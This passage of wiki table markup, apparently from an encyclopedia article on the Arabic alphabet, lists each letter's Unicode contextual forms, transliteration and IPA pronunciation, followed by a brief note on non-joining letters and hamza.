|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE96&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE96;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE98&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE98;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE97&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE97;}}&lt;/font&gt;
|{{ArabDIN|[[tāʼ]]}}
|{{ArabDIN|t}}
|{{IPA|[t]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;062B&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x062B;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE99&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE99;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE9A&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE9A;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE9C&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE9C;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE9B&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE9B;}}&lt;/font&gt;
|{{ArabDIN|[[ṯāʼ]]}}
|{{ArabDIN|ṯ}}
|{{IPA|[θ]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;062C&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x062C;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE9D&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE9D;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE9E&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE9E;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEA0&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEA0;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE9F&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE9F;}}&lt;/font&gt;
|{{ArabDIN|[[ǧīm]]}}
|{{ArabDIN|ǧ}} (also j, g)
|{{IPA|[ʤ]}} / {{IPA|[&amp;#658;]}} / {{IPA|[ɡ]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;062D&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x062D;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEA1&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEA1;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEA2&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEA2;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEA4&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEA4;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEA3&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEA3;}}&lt;/font&gt;
|{{ArabDIN|[[ḥāʼ]]}}
|{{ArabDIN|ḥ}}
|{{IPA|[ħ]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;062E&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x062E;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEA5&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEA5;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEA6&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEA6;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEA8&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEA8;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEA7&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEA7;}}&lt;/font&gt;
|{{ArabDIN|[[ḫāʼ]]}}
|{{ArabDIN|ḫ}} (also kh, x)
|{{IPA|[x]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;062F&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x062F;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEA9&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEA9;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEAA&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEAA;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;background:#EEEEEE&quot; colspan=&quot;2&quot;|—
|{{ArabDIN|[[dāl]]}}
|{{ArabDIN|d}}
|{{IPA|[d]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0630&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0630;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEAB&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEAB;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEAC&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEAC;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;background:#EEEEEE&quot; colspan=&quot;2&quot;|—
|{{ArabDIN|[[ḏāl]]}}
|{{ArabDIN|ḏ}} (also dh, ð)
|{{IPA|[ð]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0631&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0631;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEAD&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEAD;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEAE&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEAE;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;background:#EEEEEE&quot; colspan=&quot;2&quot;|—
|{{ArabDIN|[[rāʼ]]}}
|{{ArabDIN|r}}
|{{IPA|[r]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0632&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0632;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEAF&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEAF;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEB0&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEB0;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;background:#EEEEEE&quot; colspan=&quot;2&quot;|—
|{{ArabDIN|[[zāī]]}}
|{{ArabDIN|z}}
|{{IPA|[z]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0633&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0633;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEB1&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEB1;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEB2&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEB2;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEB4&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEB4;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEB3&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEB3;}}&lt;/font&gt;
|{{ArabDIN|[[sīn]]}}
|{{ArabDIN|s}}
|{{IPA|[s]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0634&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0634;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEB5&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEB5;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEB6&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEB6;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEB8&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEB8;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEB7&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEB7;}}&lt;/font&gt;
|{{ArabDIN|[[šīn]]}}
|{{ArabDIN|š}} (also sh)
|{{IPA|[ʃ]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0635&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0635;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEB9&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEB9;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEBA&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEBA;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEBC&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEBC;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEBB&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEBB;}}&lt;/font&gt;
|{{ArabDIN|[[ṣād]]}}
|{{ArabDIN|ṣ}}
|{{IPA|[sˁ]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0636&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0636;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEBD&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEBD;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEBE&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEBE;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEC0&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEC0;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEBF&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEBF;}}&lt;/font&gt;
|{{ArabDIN|[[ḍād]]}}
|{{ArabDIN|ḍ}}
|{{IPA|[dˁ]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0637&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0637;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEC1&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEC1;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEC2&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEC2;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEC4&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEC4;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEC3&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEC3;}}&lt;/font&gt;
|{{ArabDIN|[[ṭāʼ]]}}
|{{ArabDIN|ṭ}}
|{{IPA|[tˁ]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0638&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0638;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEC5&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEC5;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEC6&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEC6;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEC8&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEC8;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEC7&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEC7;}}&lt;/font&gt;
|{{ArabDIN|[[ẓāʼ]]}}
|{{ArabDIN|ẓ}}
|{{IPA|[ðˁ]}} / {{IPA|[zˁ]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0639&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0639;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEC9&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEC9;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FECA&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFECA;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FECC&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFECC;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FECB&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFECB;}}&lt;/font&gt;
|{{ArabDIN|[[ʿayn]]}}
|{{ArabDIN|ʿ}}
|{{IPA|[ʕ]}} / {{IPA|[ʔˁ]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;063A&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x063A;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FECD&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFECD;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FECE&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFECE;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FED0&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFED0;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FECF&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFECF;}}&lt;/font&gt;
|{{ArabDIN|[[ġayn]]}}
|{{ArabDIN|ġ}} (also gh)
|{{IPA|[ɣ]}} / {{IPA|[ʁ]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0641&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0641;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FED1&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFED1;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FED2&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFED2;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FED4&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFED4;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FED3&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFED3;}}&lt;/font&gt;
|{{ArabDIN|[[fāʼ]]}}
|{{ArabDIN|f}}
|{{IPA|[f]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0642&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0642;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FED5&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFED5;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FED6&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFED6;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FED8&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFED8;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FED7&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFED7;}}&lt;/font&gt;
|{{ArabDIN|[[qāf]]}}
|{{ArabDIN|q}}
|{{IPA|[q]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0643&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0643;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FED9&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFED9;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEDA&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEDA;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEDC&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEDC;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEDB&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEDB;}}&lt;/font&gt;
|{{ArabDIN|[[kāf]]}}
|{{ArabDIN|k}}
|{{IPA|[k]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0644&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0644;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEDD&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEDD;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEDE&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEDE;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEE0&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEE0;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEDF&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEDF;}}&lt;/font&gt;
|{{ArabDIN|[[lām]]}}
|{{ArabDIN|l}}
|{{IPA|[l]}}, {{IPA|[lˁ]}} (in ''Allah'' only)
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0645&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0645;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEE1&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEE1;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEE2&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEE2;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEE4&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEE4;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEE3&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEE3;}}&lt;/font&gt;
|{{ArabDIN|[[mīm]]}}
|{{ArabDIN|m}}
|{{IPA|[m]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0646&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0646;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEE5&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEE5;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEE6&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEE6;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEE8&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEE8;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEE7&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEE7;}}&lt;/font&gt;
|{{ArabDIN|[[nūn]]}}
|{{ArabDIN|n}}
|{{IPA|[n]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0647&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0647;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEE9&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEE9;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEEA&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEEA;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEEC&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEEC;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEEB&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEEB;}}&lt;/font&gt;
|{{ArabDIN|[[hāʼ]]}}
|{{ArabDIN|h}}
|{{IPA|[h]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0648&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0648;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEED&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEED;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEEE&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEEE;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;background:#EEEEEE&quot; colspan=&quot;2&quot;|—
|{{ArabDIN|[[wāw]]}}
|{{ArabDIN|w}} / {{ArabDIN|ū}}
|{{IPA|[w]}} / {{IPA|[uː]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;064A&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x064A;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEF1&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEF1;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEF2&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEF2;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEF4&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEF4;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FEF3&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFEF3;}}&lt;/font&gt;
|{{ArabDIN|[[yāʼ]]}}
|{{ArabDIN|y}} / {{ArabDIN|ī}}
|{{IPA|[j]}} / {{IPA|[iː]}}
|}

Letters lacking an initial or medial version are never tied to the following letter, even within a word. As to '''{{Ar|ﺀ}}''' ''hamza'', it has only a single graphic, since it is never tied to a preceding or following letter.  However, it is sometimes 'seated' on a waw, ya or alif, and in that case the seat behaves like an ordinary waw, ya or alif.

====Modified letters====
The following are not actual letters, but rather different orthographical shapes for letters.

{|class=&quot;wikitable&quot;
|-
!rowspan=&quot;2&quot;|General&lt;br /&gt;Unicode
!colspan=&quot;4&quot;|Conditional forms
!rowspan=&quot;2&quot;|Name
!rowspan=&quot;2&quot;|Translit.
